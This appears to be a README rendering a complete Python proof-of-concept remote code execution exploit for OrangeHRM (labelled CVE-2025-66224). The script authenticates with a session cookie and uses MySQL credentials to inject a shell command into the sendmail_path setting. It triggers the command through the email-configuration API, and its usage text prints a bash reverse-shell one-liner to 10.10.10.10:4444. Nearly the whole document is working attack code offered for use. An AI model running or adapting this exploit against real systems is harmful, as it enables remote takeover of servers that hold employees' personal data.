README.md
Rendering markdown...
import requests
import argparse
import sys
import mysql.connector
from mysql.connector import Error
import json
BANNER = r"""
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@ @@ @@@@@@@ . @@@@@@@ #@@@@@@@%. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@ . @@@@@@@ @@@@ @@@@@ @@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@ @@@@@@@@@ @@@ %@@@@:*@@ @@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ @@@@@@@ @@@ @@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@ @@@@@@ @@@@ .@@@@@@@@ @@@ .@@@@@@@ @@@@ @ @@@@@@@@@@@@@@@ @@@@@@@
@@@@@ @@@@@@ @@@@-. @@@@@@@ . @@@@@ @@@@@@@@ *@@@ @@@@ . @@@@@
@@@@. @@@@@ @@@@@ @@@@@@@@@@ @@@@ @@@@@@@@@ @ -- @@@@ .@ @@@@
@@@@ @@@@@@ @@@@@@ @@@@@@@@@@ . . @@@@@@@@@ @@@@@@@@@@@@@ @ @@@@@
@@@@ @@@@@@ @@@@@ .@@@@@@@@@@@*@@@@@ @%@@@@@@@@@@@@@ *@@@@ @ @ @ @@@@@
@@@@- @@@@@@ @@@@ @@@@@@@@@@@@@:@@@@@@@@@@@@@@:@@@@@@ . @@@@@@ @@= @@@@@@
@@@@@ @@@@@@ @ @@@@@@@@@@@* %@@@@@@@@@@@@@@@*@@@@@ .@@@@@ @@@@@@@@@@@ @@@@@@@
@@@@@@ @@@@@@ @@@@@@@@@@#%@@@@@@@@@@@@@@@@@%@@@@@@@ @@@ @@@@@@@@@@ .@@@@@@@@
@@@@@@- @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@
@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@#==#@@@@@@@@@@@@@ @@ =@@@@@@@@@@@@@@@= @@@@@@@@@@@
@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@*.@@@@@@: @@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@ @@@@@@@@@@@@@@@@@ .%*@@@@@@ @@@@@@@@@.@@@@@@@@@@@@@@@@@@@@. @@@@@@@@@@@
@@@@@@@@ @ @ @@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@ .@@@@@@@@ @@@@@@@@@@@
@@@@@@@ : @@@@@- .@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@ @@# @@@@@@@@ @@@@@@@@@
@@@@@@@ @@@@ @@@@@@+@@@@@@@@@@@@ @@@@ @@@@@@@@@@ -@@@@@@
@@@@@@ @ . @@ @@@@@# .@@@@@@@@@@@@ @@@@@@@%@@@@ . @@@@@
@@@@@@ . @@@@@@% . *@@@@@@@ @@@ @@@@
@@@@@@ @@@ @ @ @ #@@@@@@@@@@@@@@@@@@ @ @@ @@@
@@@@@@ . . @ @ *@@@@@@@@@@@@@@@@@ @ @@
@@@@@@ @ @ @@@@ @ % @ @@@@@@@@@@ @@@@@%++#@@@@ :@@
@@@@@@@ @@@@@ @@ . . @ @ . @ . @@@@
@@@@@@@@@@@@@@@@@. @ @@@ @@@ @ @@ @@@@@@@@@@
@@@@@@@@@@@@@@@@@@ . @@@@@@@ .@ = @@@@@ . :@ +@@@@@@@@
@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ . @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@ PoC RCE for OrangeHRM CVE-2025-66224 @@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ PoC by RiccK @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ Bypassadores && HackersOnSteroids @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
"""
def normalizeUrl(url: str) -> str:
if not (url.startswith("http://") or url.startswith("https://")):
url = "http://" + url
return url.rstrip("/")
def createSessionFromCookie(base_url: str, cookie_value: str, cookie_name: str = "_orangehrm"):
session = requests.Session()
session.cookies.set(cookie_name, cookie_value)
print(f"[*] Cookie set: {cookie_name}={cookie_value}")
print(f"[*] Validating session...")
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}
dashboard_url = f"{base_url}/web/index.php/dashboard/index"
test = session.get(dashboard_url, headers=headers, allow_redirects=True)
print(f"[*] Status Code: {test.status_code}")
print(f"[*] Final URL: {test.url}")
if 'login' in test.url.lower():
print("[-] Invalid or expired cookie! Redirected to login.")
return None
if test.status_code == 200:
print("[+] Valid session! Dashboard access confirmed.")
return session
print("[-] Could not validate session.")
return None
def findAndUpdateSendmailPath(db_host, db_user, db_pass, payload, db_port=3306):
print(f"\n[*] Connecting to MySQL...")
print(f"[*] Host: {db_host}:{db_port}")
print(f"[*] User: {db_user}")
try:
connection = mysql.connector.connect(
host=db_host,
user=db_user,
password=db_pass,
port=db_port,
connect_timeout=5
)
if connection.is_connected():
print(f"[+] Connected to MySQL successfully!")
cursor = connection.cursor()
cursor.execute("SHOW DATABASES")
databases = cursor.fetchall()
print(f"\n[*] Looking for table 'hs_hr_config'...")
found = False
for db in databases:
db_name = db[0]
if db_name in ['information_schema', 'mysql', 'performance_schema', 'sys']:
continue
try:
cursor.execute(f"USE {db_name}")
cursor.execute("SHOW TABLES LIKE 'hs_hr_config'")
result = cursor.fetchone()
if result:
print(f"[+] Table 'hs_hr_config' found in database '{db_name}'!")
cursor.execute("SELECT `name`, `value` FROM hs_hr_config WHERE `name` = 'email_config.sendmail_path'")
row = cursor.fetchone()
if row:
print(f"\n[+] Current configuration found:")
print(f" Name: {row[0]}")
print(f" Value: {row[1]}")
new_value = f"/usr/sbin/sendmail -bs && {payload} #"
print(f"\n[*] New value will be:")
print(f" {new_value}")
print(f"\n[!] WARNING: This will MODIFY the database!")
confirm = input("[?] Do you want to continue? (yes/no): ")
if confirm.lower() == 'yes':
update_query = "UPDATE hs_hr_config SET `value` = %s WHERE `name` = 'email_config.sendmail_path'"
cursor.execute(update_query, (new_value,))
connection.commit()
print(f"\n[+] Value updated successfully!")
cursor.execute("SELECT `name`, `value` FROM hs_hr_config WHERE `name` = 'email_config.sendmail_path'")
updated_row = cursor.fetchone()
print(f"[+] Updated value:")
print(f" {updated_row[1]}")
found = True
else:
print(f"[-] Operation cancelled by user")
found = True
else:
print(f"[-] Configuration 'email_config.sendmail_path' not found")
break
except Error as e:
print(f"[-] Error accessing database '{db_name}': {e}")
continue
if not found:
print(f"\n[-] Table 'hs_hr_config' or configuration not found")
cursor.close()
connection.close()
print(f"\n[+] MySQL connection closed")
return found
except Error as e:
print(f"[-] Error connecting to MySQL: {e}")
print(f"\n[!] Troubleshooting tips:")
print(f" 1. Check if MySQL is running")
print(f" 2. If using Docker, the host might be the container name")
print(f" Example: -dh orangehrm_mysql or -dh mysql")
print(f" 3. Check the port with: docker ps | grep mysql")
print(f" 4. If port is mapped, use: -dport PORT")
print(f" 5. Try to find MySQL container IP:")
print(f" docker inspect <container_name> | grep IPAddress")
return False
def restoreSendmailPath(db_host, db_user, db_pass, db_port=3306):
print(f"\n[*] Restoring original sendmail_path value...")
try:
connection = mysql.connector.connect(
host=db_host,
user=db_user,
password=db_pass,
port=db_port,
connect_timeout=5
)
if connection.is_connected():
cursor = connection.cursor()
cursor.execute("SHOW DATABASES")
databases = cursor.fetchall()
for db in databases:
db_name = db[0]
if db_name in ['information_schema', 'mysql', 'performance_schema', 'sys']:
continue
try:
cursor.execute(f"USE {db_name}")
cursor.execute("SHOW TABLES LIKE 'hs_hr_config'")
result = cursor.fetchone()
if result:
original_value = "/usr/sbin/sendmail -bs"
update_query = "UPDATE hs_hr_config SET `value` = %s WHERE `name` = 'email_config.sendmail_path'"
cursor.execute(update_query, (original_value,))
connection.commit()
print(f"[+] Value restored to: {original_value}")
cursor.close()
connection.close()
return True
except Error as e:
continue
cursor.close()
connection.close()
except Error as e:
print(f"[-] Error restoring: {e}")
return False
return False
def exploit(session, base_url, command, db_host=None, db_user=None, db_pass=None, db_port=3306):
print(f"\n[*] Starting exploitation...")
if db_host and db_user and db_pass and command:
print(f"[*] Injecting payload into sendmail_path via MySQL...")
success = findAndUpdateSendmailPath(db_host, db_user, db_pass, command, db_port)
if not success:
print(f"[-] Failed to inject payload into database")
return False
else:
print(f"[!] MySQL credentials or command not provided!")
print(f"[!] Use: -dh HOST -du USER -dp PASS -cmd 'your_command'")
return False
print(f"\n[*] Triggering payload execution...")
email_config_url = f"{base_url}/web/index.php/api/v2/admin/email-configuration"
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/json',
'Origin': base_url,
'Referer': f"{base_url}/web/index.php/admin/listMailConfiguration",
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin'
}
payload = {
"mailType": "sendmail",
"sentAs": "[email protected]",
"smtpHost": None,
"smtpPort": None,
"smtpUsername": "admin",
"smtpPassword": None,
"smtpAuthType": "login",
"smtpSecurityType": "none",
"testEmailAddress": "[email protected]"
}
print(f"[*] Sending trigger request to: {email_config_url}")
try:
response = session.put(email_config_url, json=payload, headers=headers)
print(f"[+] Status Code: {response.status_code}")
try:
response_json = response.json()
print(f"[+] Response:")
print(json.dumps(response_json, indent=2))
except:
print(f"[+] Response Text:")
print(response.text[:500])
if response.status_code == 200:
print(f"\n[+] Payload triggered! Command should have been executed.")
print(f"\n[*] Cleaning up - restoring original value...")
restore_success = restoreSendmailPath(db_host, db_user, db_pass, db_port)
if restore_success:
print(f"[+] Database value restored successfully!")
else:
print(f"[-] Could not restore value automatically")
print(f"[!] Restore manually to: /usr/sbin/sendmail -bs")
print(f"\n[+] Exploit completed! Check if command was executed.")
return True
else:
print(f"\n[-] Failed to trigger. Status: {response.status_code}")
print(f"\n[*] Attempting to restore database value anyway...")
restoreSendmailPath(db_host, db_user, db_pass, db_port)
return False
except Exception as e:
print(f"[-] Error during trigger: {str(e)}")
return False
parser = argparse.ArgumentParser(
prog="orangehrm_exploit.py",
description=BANNER,
epilog="USAGE: python3 script.py -t http://host.com -c 'cookie_value' -dh 127.0.0.1 -du user -dp pass -cmd 'whoami'",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-t", "--target", type=normalizeUrl, required=True, help="Target URL")
parser.add_argument("-c", "--cookie", required=True, help="Session cookie value")
parser.add_argument("-cn", "--cookie_name", default="_orangehrm", help="Cookie name (default: _orangehrm)")
parser.add_argument("-cmd", "--command", required=False, help="Command to execute")
parser.add_argument("-dh", "--db_host", required=False, help="MySQL host (e.g., 127.0.0.1)")
parser.add_argument("-du", "--db_user", required=False, help="MySQL username")
parser.add_argument("-dp", "--db_pass", required=False, help="MySQL password")
parser.add_argument("-dport", "--db_port", type=int, default=3306, help="MySQL port (default: 3306)")
args = parser.parse_args()
if __name__ == "__main__":
print(BANNER)
auth_session = createSessionFromCookie(args.target, args.cookie, args.cookie_name)
if auth_session:
print("\n[+] Session authenticated and validated successfully!")
if args.command:
exploit(
auth_session,
args.target,
args.command,
args.db_host,
args.db_user,
args.db_pass,
args.db_port
)
else:
print("\n[!] No command specified. Use -cmd to execute commands.")
print("[+] Session available for manual use")
print(f"\n[+] Full usage example:")
print(f" python3 script.py -t {args.target} -c {args.cookie} \\")
print(f" -dh 127.0.0.1 -du root -dp password \\")
print(f" -cmd 'bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"'")
else:
print("\n[-] Could not establish a valid session")
print("[!] Tip: Get the cookie from browser after logging in manually")
sys.exit(1)